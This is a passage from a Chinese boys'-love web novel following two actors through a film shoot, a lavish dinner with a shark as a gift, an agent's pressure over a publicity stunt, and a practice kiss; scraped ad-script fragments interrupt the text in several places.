两根吸管一红一蓝,分别插好,弯成爱心状。 “诶,宋老师!这边,过来坐会儿!”见宋屿下戏,张韦达大声招呼着,把人往这边引。 宋屿去往房车的脚步微顿,看眼印澄,最终还是改变了方向。 “累吧?喝点椰子水解解渴!”张韦达把椅子摆好,示意他坐。 “太累就先回去吧,这个带着车上喝。”印澄瞥见了花絮摄影师,却不想浪费宋屿的时间。 宋屿上午还拍过其他戏份,现在好不容易收工,居然还让他加班造糖…… “没事,在哪休息都一样。”宋屿扣好衬衫坐下,浅喝口椰子水。 “诶,印澄,你也喝呀,你俩一起!”张韦达在旁比划着。 后期现场音可以选择性地剪掉,到时就会变成他俩的自发举动。 印澄靠近休闲桌,食不知味地咬住吸管。 他总觉得这样不太好。 像是在……骗人。 “不喜欢?”宋屿察觉到他情绪不高,轻声问他。 “嗯,太甜了。”印澄说出实话。 其实正宗的椰子水并不腻,有种淡淡的甜,但眼前这份明显是加过糖的。 或许是为了照顾更大众的口感,但他喝不惯。 张韦达很用心,红蓝吸管与他们衬衫的颜色正匹配,以后这棵椰子树说不定还会成为打卡地。 “海鸥呢?快快,引过来,现在天色正好!”张韦达拿着对讲机指挥,制造下一场浪漫。 海鸥? 印澄闻言转过头去,只见几名工作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人员临着大号食品袋,不断往天上撒面包屑,企图把一群海鸥引过来。 “嘿嘿,海鸥,椰子水,沙滩,这下全配齐了!待会儿几只海鸥落桌上,你俩逗着玩……诶诶!怎么都飞过来了!呸,咋掉这么多毛!轰走轰走,留几只就行!诶!” 张韦达要得太急,几名工作人员生怕完不成任务猛撒面包。 现在压根没法控制。 越来越多的海鸥闻讯而来,直奔面包屑,扑棱着翅膀轰炸机似的冲飞,把椰子水都撞翻了。 印澄急忙用胳膊护着头,连连告饶:“我没面包!真没有!我还有戏呢!别啄我头发哇!!” 没有海鸥相信他的话。 印澄投降,印澄失败,印澄企图逃跑。 撤吧,他顶不住了。 兵荒马乱中,有人把他拉进怀里护着,不断挥开飞袭的海鸥,带他往外走。 印澄逃得狼狈,猫腰弯背,先是踉跄着走,后来干脆小跑,直跑得耳边不再有振翅声才敢停。 他喘着气抬头,看见了救命恩人的真容。 是宋屿,头顶插根毛。 “没事吧?”宋屿关心的问。 顶着张帅脸,也顶着根避雷针。 很帅,真的很帅。 头发凌乱,眼神深邃,是那个不用开口就能迷倒万千少女的神颜宋屿。 印澄到底没绷住。 他开始笑,笑得浑身发抖,哆嗦着手想帮宋屿把那根羽毛摘下来。 奈何宋屿比他高半头,看他这样,还下意识躲了躲。 羽毛就更够不着了。 “你、哈哈,你别动,快……”印澄笑得喘不上气,把住宋屿的胳膊,没力气地将人拉回来。 宋屿被他传染,笑着低头配合。 印澄借他手臂的力气伸手去够,终于摘除成功。 宋屿忍俊,从他头顶也摘下一根:“你也有。” 印澄噗嗤一声,发出爆笑。 他想控制点,让精神状况看起来不那么堪忧,但他就是憋不住。 什么事一戳到笑点,他就停不下来。 宋屿不知何时也哧哧地笑,拉着印澄帮他稳住身形,继续给他摘发间的小绒毛。 “……别动,阿澄……别动……” 花絮摄影师眸光闪了闪,顶着鸡窝似的头发,再度将镜头对准两人。 清脆嘹亮的海鸥叫声中,夹杂着张韦达的咒骂。 他光膀子对空气一顿抽,奈何胳膊短,加上衣服也够不到那些鸟。 远处的群众演员都在围观这一幕,用手指着脑袋转了转,议论纷纷。 “Crazy!” …… 骚乱结束后,印澄被安排补妆,又拍了两场,分别是米契尔把钻表交给保镖,和保镖丢表后朝米契尔跪下的镜头。 摄影师只拍了米契尔的手腕、脚、腿等部位,努力营造神秘感。 没什么难度。 印澄演完回房车上卸妆,正在发呆,车门忽被敲响。 是沈秋,请他去见宋屿。 “去吧去吧。”吴鸿阳等人见怪不怪,直接把房卡和手机塞给印澄,“那我们先回去啦,你别玩太晚哦。” 印澄稀里糊涂地下了车。 车门关闭,吴鸿阳对秦鸣发出感叹:“哎,以前宋老师送澄澄,那都是顺便的,这回澄澄都坐车上了,你说他怎么还往外薅呐?” 24. 鲨鱼 印澄记得上次这样,还是拍双人海报的时候。 宋屿比他早收工,也没有先走,而是等他一起回去。 不过这次,宋屿等的时候未免太长,他拍完那两场外加卸妆,差不多能有一小时。 真的有必要等这么久吗? 或者,宋屿原本就是这么亲切的人,会无条件等同事下班? 印澄心情复杂,怕想太多,更怕想得不够多。 他看过很多宋屿的相关讯息,曾经合作过的同事们对其多有夸赞,但谈的都是敬业、高水准之类的话题。 像现在这种情况,似乎从没出现过。 宋屿对他,会不会和对其他人有所不同? 印澄思维混乱,浑浑噩噩地跟在沈秋身后,走到近前才发觉要上的既不是迈巴赫,也不是宋屿的房车。 那是辆黑色的雷克萨斯,中网轮廓是哑光材质,连轮圈、车窗装饰等也都做黑处理,加强了视觉冲击力。 “房车先开出去了,外面狗仔多,得把尾巴甩掉。”沈秋弯起眼,笑眯眯地对他说,“屿哥要带你去别的地方。” 别的……地方…… 不是他想的那样吧。 是他想的那样吗?! 不对啊,真想那样,回酒店不是更合适…… 印澄心跳得厉害,虽然他知道自己的猜测很扯,但思绪像脱了缰的野马,就是控制不住! 明明连手都没牵过,怎么还纠结上脱裤子了! 嗯?等等! 嘶,是他记忆出偏差了么? 牵手的话,他好像还真跟宋屿做过。 在哪儿来着? 沈秋将车门拉开,印澄弯腰进入,才发现坐得离宋屿如此近。 他习惯了在商务车里和宋屿对坐,眼下在较为狭窄的后排并肩,竟然还有些害羞。 司机被隔绝在挡板后,空间私密,让宋屿身上独有的气息更加浓郁。 “咳,去哪儿?”感觉到宋屿沉默的注视,印澄率先开口。 “一会就知道了。”宋屿没正面回答,无声地笑了笑,抬手捏他耳垂,“还疼吗?” 小巧的耳环被宋屿勾弄着,在他指尖晃来荡去。 “养、养好了。”印澄僵得厉害,不敢避也不敢躲,忍着从耳根蹿到后颈的那个酥.痒,任他摆弄。 别弄了…… 痒…… 宋屿逗留的时间比他想象得也长,等他终于收回手,印澄才意识到自己在攥拳,手心都是汗。 又在逗他。 真是的。 * * * 车辆行驶约20分钟后,抵达了家名为“Wave Sea”的店。 起初印澄也没觉得哪里不同,进去后才意识到,这是家海底餐厅。 用餐区的四壁完全由玻璃制成,多彩的珊瑚礁环绕,各类鱼儿来往穿梭,还有水母在以独特的韵律游动。 印澄不自觉发出声轻呼,虽然在海洋馆里也能看到这些,但用餐时见到这种场面,便又是另一番享受。 侍者将他们带到预定的餐位就坐,印澄后知后觉,这里并非包间,整个餐厅只有他们一桌。 宋屿包店了? 印澄局促,隐约听见金币在流动。 好铺张啊。 这、这得多少钱! 小提琴站在稍远的位置,娴熟地演奏舒伯特的《小夜曲》,旋律轻柔,婉转灵动。 印澄身心舒悦,趁侍者暂时走开,悄悄问宋屿:“好正式呀!今天是什么日子吗?” 宋屿的生日是11月7,离得还早,他的生日也是下个月。 印澄觉得这餐不普通,但又想不出缘由。 “我想送你回礼。”宋屿弯唇,仿佛在说一件稀松平常的事。 “因为那条羽毛链?”印澄不安,“那是我顺便买的,没多少钱,你这样太客气了!” “我很喜欢它,”宋屿温柔地望着他,眼藏笑意,“而且,回礼也不是这餐饭,先吃吧。” 印澄沉溺在宋屿暧昧的目光里,失了语言。 侍者适时端来前菜,是墨西哥玉米片配莎莎酱。 印澄被宋屿盯得浑身舒服,心不在焉地尝了口,顿觉惊喜。 “好辣!”印澄轻呼,唾沫被刺激的不断分泌,异常开胃。 “你现在可以吃了。”宋屿欣赏着他的反应。 的确,自从打完耳洞,印澄很久没碰过辣,当初敖乐盐吃小龙虾吃得喷香,其实他很馋。 但这么多天过去,他也有点习惯清淡口味。 没想到现在一刺激,曾经的瘾又复苏了! 啊,不愧是他的男神,居然还记得这种小事! 印澄被辣得眼眶湿润,舌头又爽又疼,异常痛快。 “酱好辣!咳、咳咳……”终究是太久没吃,他有些受不住,一个不小心竟呛到了。 “没事吧?”宋屿没想到他会呛成这样,忙让人拿冰水给他。 印澄连连摆手,内心咆哮。 丢死人了。 这么浪漫的气氛,他该吃得优雅点才对。 宋屿耐心地等他平复下来,示意侍者提前把菜撤走。 印澄眼巴巴地目送莎莎酱远去,很是不舍。 他还没吃够。 这种遗憾的情绪并未存留太久,当看到主菜是芝士焗龙虾,他立刻把玉米片抛在脑后。 “你水性好,连各种水上运动也擅长吗?”宋屿对食物的兴趣依旧不大,更专注于和他聊天。 “还行吧,冲浪之类的也会玩……业余水平而已,游泳也是。”印澄说到一半赶忙找补。 他怕宋屿会把他当成什么运动健将。 那些毕竟只是消遣,偶尔玩而已,谈不上精通。 “我很羡慕水性好的人。”宋屿用餐刀把芝士拨开,语气落寞。 “你不会游泳吗?”印澄挖了勺虾肉。 “嗯。”宋屿承认,“小的时候溺过水,父母觉得危险,就再没让我碰过了。” 童年阴影…… 有溺水经历的话,的确不宜再接触。 印澄见过特别害怕水的人,进泳池后身体紧绷,根本没法放松,连简单的憋气都做不到。 对那些人来说,只要水没过头顶,就像空间幽闭症患者进入狭小的电梯。 焦虑、恐慌、颤抖,类似的本能反应很难克服。 如果宋屿也是那种情况,远离便是最佳选择。 不过,既然宋屿主动提了…… “以后有机会,我教你啊?”印澄用叉子撩动长长的虾须,鼓起勇气。 宋屿没敷衍着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 立刻回复,他蹙眉沉思,似乎在认真思考可行性。 印澄等得忐忑,见宋屿久不应声,刚想随便说点什么把话题岔开,却在张口的瞬间,发出了声惊叹。 他看见一只体型庞大的鲨鱼,正贴着玻璃墙朝这边游来。 它优雅摆动,灰色的皮肤布满岁月刻下的纹理,流线型的身躯充满力量,锋利的背鳍破水而来,鱼嘴微张,露着森森尖牙,带着极强的压迫感向他靠近。 鲨鱼短暂地游过他的餐位,鱼眼冷酷而阴沉,审视着整个餐厅与那些无法触碰的人类。 印澄转过头,视线追它而去,只见那条鲨鱼如幽灵般徘徊在玻璃窗外,偶尔调转方向,却没有离去。 “鲨鱼?有鲨鱼!”印澄觉得不可思议,“他们怎么敢放鲨鱼进来!” 这里虽说是海底餐厅,但能看出来,布置更接近于海洋馆,特别是靠近玻璃窗的位置,人工痕迹很明显。 那些鱼的品种多样,色彩斑斓,且大规模地在四周游荡,更显示出这一小块海是被管控的。 如今这样,真像在请那条鲨鱼吃自助餐。 “喂饱了才放过来的,没事。”察觉到他的担忧,宋屿笑着宽慰。 印澄点点头,这才放心。 “它叫MIKI,送给你。以后你每次来这家餐厅,它都会出现。”宋屿双手交叉置于桌面,姿态儒雅。 “送我?你刚刚说的回礼,是这个?”印澄懵了。 “我记得你喜欢鲨鱼。”宋屿笑得宁和。 印澄尚处于震惊中,下意识问:“我有说过?” 这回轮到宋屿怔住。 “嗯,我记得你在《星途闪耀》里,带过鲨鱼抱枕。”宋屿避开视线,用叉子拨了拨虾肉。 印澄对这个解释不疑有他,暗惊宋屿居然连他的选秀都看过。 分宿舍时,印澄把装进压缩袋里的肥肥鲨拿出来,结果被笑了好久,说他太少女,居然玩娃娃。 其实印澄,真没有。 他不是会对娃娃说话的类型,只是喜欢抱着东西睡而已。 况且抱枕用处多多,看书时靠它也很舒服,这么多年过来,印澄早就习惯了。 正片分分秒秒都金贵,自然不会给他那么多镜头,这段小插曲被平台做成粉丝福利,要花两块钱才能解锁。 印澄得知此事大骂黑心,这节目组简直把他们的剩余价值都压榨干净了,连小糊咖的残渣都不放过。 原来宋屿还特地为他付了两块钱。 啊,不对,重点是那条鲨鱼! 他那条羽毛链连5克都没有,这位MIKI得多沉? 光是份量就不对等啊! “你这爱好还挺小众的,为什么会喜欢鲨鱼?”宋屿不知道他脑内的小剧场,好奇地问。 “就是,小时候看《猫和老鼠》,有一集出现过鲨鱼,就觉得它那个三角形的背鳍很酷,牙也帅帅的,慢慢的就喜欢上了。”印澄难为情道。 宋屿被他的解释逗笑,特地看一眼那条鲨鱼的尖牙。 “屿哥,你这礼物太贵重,我实在……”印澄终于缓过了神,犹豫该怎么拒绝这份好意。 “收下吧。”宋屿平视着他,“几天没见,我很想你,筹备这份礼物会让我好过一点。” “它已经是你的了。” 25. 冷水浴 宋屿喜欢他? 直到返回酒店,印澄都在想这件事。 宋屿刚刚那么说,可以算暗示了吧。 他对他的好太过格,完全超出同事的标准,哪怕是要好的朋友,也不会那样吧! 兄弟情?把他当弟弟? 不不,亲兄弟这样都很奇怪。 更何况,那可是鲨鱼啊。 印澄自问,他即便很有钱,也不会送别人鲨鱼。 那宋屿是……什么意思? 表白?这算表白吗? 但宋屿并没有说其他暧昧的话,回去的时候更没亲密举动,怎么想都跟情侣差一层。 好像,也仅仅是差一层? 印澄抱着肥肥鲨抱枕,不断蹂躏它滚圆的脑袋,心里像有小猫挠似的,坐卧不安。 啊啊啊,男神这到底是什么意思嘛!还不如杀了他痛快,太折磨了! 哪怕想沉浸角色,也不至于做到这种地步吧! 或许有钱人的世界他不懂? 真能任性到这种程度嘛! 不对!宋屿喜欢他! 这个推测才最合理! 可,宋屿怎么不挑明呢? 是他想多了? 啊啊啊啊啊! 手机倏然弹出敖乐盐的消息。 【雾草!太不要脸了!】 【你快看这个!真恶心!呸!】 随后附上一条分享,看标题,似乎是某个人的采访。 印澄仰躺在床,把抱枕垫在脑后,噼里啪啦打字回复。 【我喜欢鲨鱼】 【你会送我一条鲨鱼吗?】 来吧,兄弟,见证友谊的时刻到了。 对面沉默两秒,发来一大堆亲切问候。 主要是关心他的病情以及用药情况。 印澄被喷了一脸,反而踏实不少。 对对,这才是兄弟的正常反应。 【快看我给你发的东西啊!】 【那王八蛋又犯病了,说要去找你!】 印澄看到“王八蛋“三个字,即刻皱起眉。 敖乐盐只会这样形容一个人。 他有些烦躁地点进去,看见视频封面彭献那张轻佻的脸,升起股立刻点叉的冲动。 敖乐盐说得没错,视频内容很恶心。 KK加盟的新项目《迷情》正在招人,第一个定下的男配就是彭献。 采访内容主要针对彭献对新剧的期待,随后刻意地将话题引向《欲都》。 在记者问道他会不会对竞争对手产生敌意时,彭献笑得意味深长。 “不会,其实我跟《欲都》的男二印澄很熟,是选秀时的同期。” “我们曾经是一个小组的,感情不错,前段时间还见过面。” “哦 ?”主持人对他的话很感兴趣,“那他接演《欲都》前,有没有跟你聊过呢?” 彭献翘起二郎腿,挑起俊眉:“没有,大概是想给我个惊喜吧。” “哈哈,你们俩的感情可真好!”主持人发出艳羡的声音,打趣道,“那《欲都》开机,你会找机会去探班吗?” “这个嘛……”彭献用手抚摸着嘴唇,意味深长,“当然。” “不过他很害羞,但愿到时候别把我赶出去吧。” 采访时传来其他工作人员的笑声,气氛活跃。 “肯定不会啦!”主持人笑着对准镜头,佯装严肃,“印老师~我来帮彭哥求个情,他去找你,你可千万要见呀!” 彭献在主持人身后邪笑着,朝镜头比了个飞吻。 印澄没等视频播完,直接把手机扔到床角。 手机不断震动,大概是敖乐盐还在吐槽。 他翻身下床,只觉胃里堵得慌,晚餐吃的美味全都噎在喉间。 印澄光着脚,去冰箱翻出瓶冰可乐,一股脑喝了半瓶,才觉得舒服点。 手机震动的频率有点高,他揉着发痛的太阳穴,烦躁地走回卧室,重新拿起手机。 关掉采访界面前,他看见点赞和转发都超过了五十万。 敖乐盐的确在持续输出,不过剧组群里也在@他。 刚被鸟啄完的张韦达很来劲,认为这是缓和两个剧组的好机会,想让印澄当梯子,跟彭献炒一下老友情。 到时两个剧的热度联动紧密,敌对气息也有所消减,上线后黑粉造成的阻力也会变少。 杨导没做声,显然并不关心这件事。 印澄被频繁@,火气蹭蹭往上冒,直接在群里回复。 【不见】 【不熟】 【不炒】 发完,他干脆把张韦达拉黑,眼不见为净。 这边刚拒绝完,经纪人李鱼又打电话过来,显然很眼馋这波热度。 成团后,彭献人气排第二,近期隐隐有超过队长的趋势,劲头很足。 从SN的角度考虑,能跟这样的流量多接触,对他这个小糊咖非常有利。 关于彭献的所作所为,印澄曾对李鱼透露过,对方除了替他义愤填膺外,唯有叹息。 如今李鱼还来问他,情况已经十分明显。 这多半是SN上层的决定。 “澄澄啊,我知道你心里不舒服,可你想啊,咱刚接了这么好的项目就不听安排,领导肯定以为你摆架子。” “你在SN还有5年合同呢,说句不好听的,不听话的兵,再优秀也难混出头啊。” “咱现在刚有起色,真闹得难看,不是前功尽弃了吗?” “嗐,这圈儿什么鸟样,你也早就看透了,既然选择留下,该受的就还得受啊。” “我知道你烦他!我也烦!这样,咱先忍着,等以后成腕儿了,弄他还不跟碾死一只臭虫似的?” “勾践都能卧薪尝胆呢,咱差哪儿啊,是吧?” “听我一句劝,我真是为你好啊……” 李鱼连珠似的话压得印澄喘不过气,连争辩都逐渐式微。 末了,李鱼抛出会心一击。 “澄澄啊,我记得你家里条件也一般,这些年为了帮你,你父母还能剩多少钱?” “咱出门在外,最大的愿望就是出名赚大钱,让家里人过上好日子,也在亲戚朋友面前能抬起头吧?” “你说说,现在这个社会,各行各业都不容易,咱现在这点困难,那真不算啥。” “咬牙把这关挺过去,钱途那就一片明亮!到时候在SN,宋屿是一哥,你就排第二,横着走都行!” 印澄沉默。 他挂断电话,关机,去浴室给浴缸放满凉水,穿着睡衣就扑了进去。 天气已然转暖,这水不够冷,但他懒得加冰块,就那么以溺水的姿势静静泡着。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 12秒,13秒,14秒…… 56、57、58…… 数到第100秒,肺部传来的疼痛再无法忽视,印澄挣扎着从浴缸抬起头,呛咳着大口喘气。 他走在自己想走的路上,可满是荆棘,或进或退,都是那么的难受。 李鱼的话狡猾地萦绕着,不管他怎么躲,都变得越来越响。 或许经纪人说得对,只是让他在镜头前演一演罢了。 甚至谈不上潜规则。 是他不够成熟,太孩子气了。 印澄胡乱将脸上的水抹去,将湿漉漉的睡衣整个脱掉,赤身回到卧室。 他长按住开机键,表情麻木地盯着屏幕中自己的面容,直至它被桌面的各种APP代替。 没去管微信的99+未读红点,印澄重新进入微博,脑海里默背着李鱼给他的回应文案。 【印澄会害羞,米契尔不会!欢迎彭哥随时过来,我们‘再续前缘’!】 眼一闭,发出去,就都太平了。 只是几行字而已,要不了命。 没什么的。 没什么的。 没什么的。 或许,他也可以发个【猥琐男滚出太阳系】,聆听地球爆炸的声音? SN想要热度,他就送他们热度,顺便再爆一爆当年的往事。 呵呵,他还年轻,可以去犯傻,去惹祸,去挥霍。 他能吃苦,就算混不下去了,也能干其他行业养活父母。 现在,他只想享受这个世界! 冷水浴带来的镇静彻底失效,印澄登上微博大号,刚要发作,却看见宋屿出现在热搜榜的第一位。 想起自己在工作群的态度,又失联这么久,印澄的心跳忽地空了一拍。 他点进去,发现宋屿居然评论了那个采访。 只有短短两个字:不必。 没任何补充,甚至未见缓和气氛的表情。 纯粹的文字毫不掩饰,将冰冷与厌烦展露无疑。 印澄放轻了呼吸。 他顺着评论区往下划,看见小羽毛们整齐划一地和《迷情》剧组撇清关系。 嘲讽彭献蹭热度、揣测他探班的真实目的、阴阳他抱KK大腿沆瀣一气…… 原本祥和的、一片期待友人重复的评论区,完全变成另一番模样。 胸口的疼逐渐缓解,却又有种发胀的感觉,顶得印澄没着没落。 他颤着指尖点赞宋屿,没说更多的话,切换画面,去看李鱼的留言。 大段雷同的劝说在某一时刻戛然而止。 最后,李鱼只给他发了个[抱拳]。 印澄深吸一口气,心里闷闷的,更加难受。 宋屿把SN高层的矛头,转移到了自己身上。 门口有敲门声响起,是宋屿,轻声问他还好吗。 印澄抿紧唇,不管不顾地冲到玄关,打开门,使出浑身力气抱住宋屿。 “谢谢。”他呢喃着,除此外,再说不出别的话,“谢谢。” 宋屿身体一僵,反手揽住印澄,将他抱进屋,“砰”地把门关好。 印澄知道,自己这样不像话,但他就是不想放。 “阿澄,”宋屿语气迟疑,“我知道你不开心,但……夜里凉……” “你先把衣服穿上,好吗?” 26. 练习吻戏 印澄抱宋屿的手明显松了劲儿,不再用力。 “我,没穿?”印澄觉得是宋屿看错了。 不不,他怎么可能光着身子熊抱宋屿呢? 印澄抱有丝侥幸,却连低头看一眼的勇气的没有。 他刚才是去洗澡来着,出来后没穿睡衣? 不不,他穿了,绝对穿了。 “阿嚏!”印澄没控制住,狠狠打个喷嚏。 好凉。 走廊的空气有少许被带进来,他甚至能感受到皮肤被冷气激起的战栗。 这种感觉…… 似乎……好像…… 真没穿。 宋屿仍旧被他抱着,没挣扎,甚至一直手还环在他腰.间。 似乎再往下点,就能跟桃子来个亲密接触。 印澄大脑阵阵晕眩,抓着宋屿的手臂,想推开他,又怕光着跑回屋的身影给对方造成更大刺激。 “屿哥,你、你能闭下眼吗?”印澄试图给自己留点脸面,“我去穿衣服。” “好……”宋屿松开环着他的胳膊,很有分寸地没碰到其他部位。 印澄头重脚轻地放开宋屿,连确认对方到底有没有闭眼的勇气都没有,风一般蹿回卧室。 他一阵翻箱倒柜,也不管天热不热,硬是挖出套长袖长裤的运动装套上,跪扑在床边碎了一会,才重新回到客厅。 不对,他好像没穿底裤。 算了算了,先出去吧。 他不能再磨蹭了。 客厅内,宋屿没继续站在门口,而是自行坐到沙发上,慢条斯理地打量屋内陈设。 自然,他也看到了从浴室蜿蜒到卧室的那道水迹。 印澄步伐艰涩地走过去,规矩站好。 “我平时不是这样的。” 他想解释点什么。 “我刚刚在洗澡,你突然敲门,就……” “我平时真不这样,真的。” 印澄试图证明自己不是暴露狂。 “没关系,是我太冒昧。”宋屿峰眉舒展,似乎在忍笑。 印澄抿紧唇,崩溃欲绝。 他很想请这尊佛先回去,有什么话明天再说。 宋屿拍拍身侧,示意他坐到旁边。 啊,这架势,似乎还要长谈…… 印澄缓慢地磨蹭着,在宋屿好笑的注视下,慢吞吞坐过去。 “走廊的监控不用担心,我会让人处理好。”宋屿展臂,从后揽住他的肩,不轻不重地按着。 印澄没想到这个,身子先是一僵,随即又在宋屿的揉.捏下变得柔.软。 还好宋屿想得周到。 那段监控传出去可不得了。 《顶流男星深夜会同事,被裸.体熊抱后性质大发进屋共温存》 印澄都想象出那些无良媒体会编得多离谱! 没被宋屿打趣,反而一直在被安抚,印澄半靠在他怀里,幽幽叹了口气。 他沉浸在熟悉的、独属于宋屿的气息里,紧张而又敏感的神经这才松弛下来。 “你和彭献,到底是怎么回事?”宋屿修长的手指抚上他的后颈,亲昵地摸着,“方便告诉我吗?” 印澄被他摸得挺起脊背,无意识地做了次深呼吸。 “也没什么,都是过去的事。”印澄闷闷的。 “可我想听。”宋屿凑近他,轻声哄着,“告诉我,好吗?” “唔……”印澄没扛太久,很快顺从了宋屿。 他说的版本和敖乐盐知道的差不多,隐去些糟心的细节。 宋屿听得认真,眉越蹙越紧。 “……反正也早就分开了,现在只要没牵扯,我都想不起来有这号人。”印澄吐尽闷气,将头抵在宋屿胸前,“这次真的谢谢你啊,屿哥。” 宋屿眸光阴沉,抚摸他的动作却极尽温柔:“没事,不要跟我客气。” “对了,公司那边……”印澄想起自己惹的麻烦,冷不丁抬起头。 “不用理会。”宋屿轻揉着他的头,把印澄重新带回怀里,“有我在,放心。” 印澄仔细分辨着宋屿的语气,察觉到事情好像真的已经解决了。 宋屿是SN的顶梁柱,每年给公司带来的利润占比90%,举足轻重。 他的意思,向来都鲜少有人违背。 恰如刚才的事,明明足以左右印澄在公司的处境,甚至未来的演技生涯,于他,却如振落叶。 这种权利、地位乃至财富上的差异,让印澄再次清楚地知道,他们是两个世界的人。 他能帮宋屿什么,又能回报什么呢? 除了单调乏味的“谢谢”,印澄想不出其他。 宋屿似乎什么都拥有了,而且什么都不缺。 这样优秀的人,竟一直在无条件地护着他。 印澄有些苦涩,扶着宋屿结实的胸膛,落寞坐好。 好奇怪啊。 他刚才离宋屿很近,连对方稳健的心跳都能听得一清二楚。 可不知怎的,他还是觉得远。 “还在不开心?”宋屿捏捏他的脸,仿佛有无限耐心。 “没有。”印澄笑得勉强。 “不聊那些了,谈点别的事吧。”宋屿揉着印澄的头发,随即把手在他眼前摊开。 湿漉漉的一片。 印澄眨眨眼,这才反应过来自己的头发还没擦干。 不止是宋屿的手,连胸前都被他蹭湿了一大片! “啊,抱歉抱歉!”印澄手足无措,从茶几上抽出两张纸帮他擦,“这样弄不干净,你脱下来,我帮你洗洗吧!” 印澄把湿纸扔进垃圾桶,手足无措。 宋屿穿着件灰色的丝绸睡衣,宽松顺滑,被他弄脏,他哪里过意得去! “你想,让我在这里脱?”宋屿手搭衣扣,欲解未解,“像你刚才那样?” 印澄大脑轰然充血,连连摆手:“我不是那个意思!我、我……” 宋屿笑起来,肩膀微颤,欣赏着他紧张的模样。 啊,又被逗了。 印澄以肘撑膝,难为情地用双手捂住脸。 不过也多亏这一岔,他的郁抑也都随之转淡。 印澄挪开手,终于露出轻松的笑。 宋屿凝视他恬静的笑容,目光由印澄的黑眸悠然落至那柔.软的唇。 “说起来,我们明天还有场吻戏。”宋屿轻声道。 “嗯?哦,对,是有一场。”印澄冷不丁听见“吻戏”两个字,刚恢复安定的心跳再度紊乱。 明天拍戏的场所在“Eclipse Club”,一共有4 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 场戏。 米契尔在包间惩治犯错的罗伊保镖、贝克侦探跟人在一楼打架、以及米契尔过去和贝克侦探搭讪。 除此外,还有一场,就是贝克侦探在包间里对米契尔汇报工作,米契尔故意挑逗,最后两人拥倒在沙发上热吻。 这场吻戏在剧本里很靠后,发生时米契尔和贝克侦探已经演过两场激.情.戏了,正处于热恋状态,对彼此的身体和兴奋点也万分熟悉。 提到前面来拍,很考验演员的专业能力。 按常理来说,为帮助演员沉浸,导演排戏时,都会尽可能地按照剧情发展来。 但事有例外,那就是场地的局限。 比如明天那两场包间戏,地点相同,考虑到租赁费用,当然是赶在一起拍才划算。 印澄对这样的安排表示理解,不过,一想到这么快就要跟宋屿拍亲密戏份,他还是免不了慌张。 “屿哥,那个,你有接吻的经验吗?”印澄试探着问。 尽管宋屿曾说过自身感情经历空白,但印澄觉得男神或许是走肾不走心。 他身在娱乐圈这种大染缸里,还红了那么多年,怎么想风流往事都应该有几段。 宋屿笑着摇摇头:“抱歉,我不会。” “啊,拍戏的时候也没有过吗?”印澄追问。 宋屿过去的作品虽说感情线少,但也并非一点没有。 “只是借位。”宋屿摊手,对他做出遗憾的表情。 “我也没吻过。”印澄舔舔唇,忽然意识到事情很严峻。 那么缠绵的吻戏,两个接吻经验为0的人,真的演好么? 包含吻戏的相关作品他倒是看过不少,但终究是纸上谈兵,差了点什么。 这种戏和其他戏份不一样,很讲究性张力的,到时哪一方都不会引导,估计很难一条过。 怎么办? 要不等宋屿走后,他拿肥肥鲨抱枕练习一下? 印澄想起肥肥鲨那光滑可爱的脑袋,顿觉自己禽兽不如。 算了,他还是放过它吧。 “不如我们练习一下?”宋屿嗓音低沉,倏然提议。 印澄猛地抬头,想确认对方是不是在开玩笑。 练习? 演员之间,真的能私下练习这种事吗? 是他想法不够开放,还是…… 印澄紧张地揪紧衣角,想从宋屿英俊的脸上找出刚才那样的笑意。 一无所获。 宋屿面容平静,眼眸深邃,仍在等他的答复。 印澄抿了下唇,心绪疯狂动摇。 他记得外国某些著名演员在拍那种戏的时候,都是真刀真枪的,结果还斩获大奖,得到很高的艺术评价。 如果演员双方都同意的话,那…… 都是为了将来呈现更好的效果,不是么? 印澄答应的“好”字微不可闻,迅速隐没在空气里。 尽管他在心里找了无数个冠冕堂皇的借口,但最诚实的想法,仍然如火烧般折磨着他。 他渴望宋屿。 得到许可,宋屿挑起唇角,大手揽住印澄的后颈,慢慢向他靠近。 印澄用力闭上眼,心跳得几乎要冲破胸膛。 “不要逃避,阿澄。” “睁开眼,看着我。” 27. 越界 印澄睫毛微颤,没有违背宋屿的话,乖乖张开眼睛。 宋屿慢慢朝他靠近,与印澄用鼻尖亲昵地蹭了蹭,感受着咫尺间的呼吸,却不急进行下一步。 印澄早已做好了准备,总以为宋屿下一刻就会亲上来,一颗心悬着,气息也愈发不稳。 他胸口起.伏,被蹭.得浑身发.热,起初还羞得不行,眼下竟险些抑制不住。 好折.磨人。 印澄蹭.弄宋屿的动作稍稍用力,忍不住暗示他。 宋屿当真吻住了他。 那是个清浅的吻,一触即离,却让印澄大脑瞬间空白,丧失了思考能力。 好半天,听到耳边传来低低的笑,他这才回神。 宋屿的唇很.软,有种让人舒适的温度。 大概是他刚才泡过冷水浴的关系,印澄体温很低,指尖等位置接近于麻木。 可和宋屿的那一吻,却让这些地方的血脉,重新活络起来。 “怎么愣住了?”宋屿用拇指摩.擦他的唇,让那抹颜色变得更红。 “没有。”印澄过于害羞,别过头去,想要否认。 “这样可不像米契尔。”宋屿单手勾过他的下颌,迫使他重新转向自己。 印澄羞愧极了。 米契尔在剧中是花花公子的设定,天然弯,欢场高手,从来不压抑欲.望。 反倒是贝克侦探,对这方面一窍不通,是在和米契尔试过之后,才尝过个中滋味。 作为引.诱的一方,米契尔应该游刃有余才对,怎么能像他那样,连动不都敢动。 木头似的。 “再、再试一次?”印澄厚着脸皮,问得很小声。 他吻技好差,真不是一般的差。 明天开拍千万不能还这样啊! 宋屿扬眉,捉着他的手,带他环上自己的脖颈,随即单手搂住印澄,在他腰.侧轻轻捏了一下。 印澄浑身如过.电般颤.抖,腰.身轻抬,随即又避无可避地落回宋屿掌中。 两个人的距离再次拉进,印澄喉咙滚动,手紧张地勾住宋屿,想着该怎样表现才能更好。 看出他的顾虑,宋屿安抚性地吻着他的唇角,让印澄先适应这种亲密。 这种不疾不徐的节奏带来安心感,印澄食指在宋屿的后颈轻划,暗示自己做好了准备。 “张开。”宋屿不再请求。 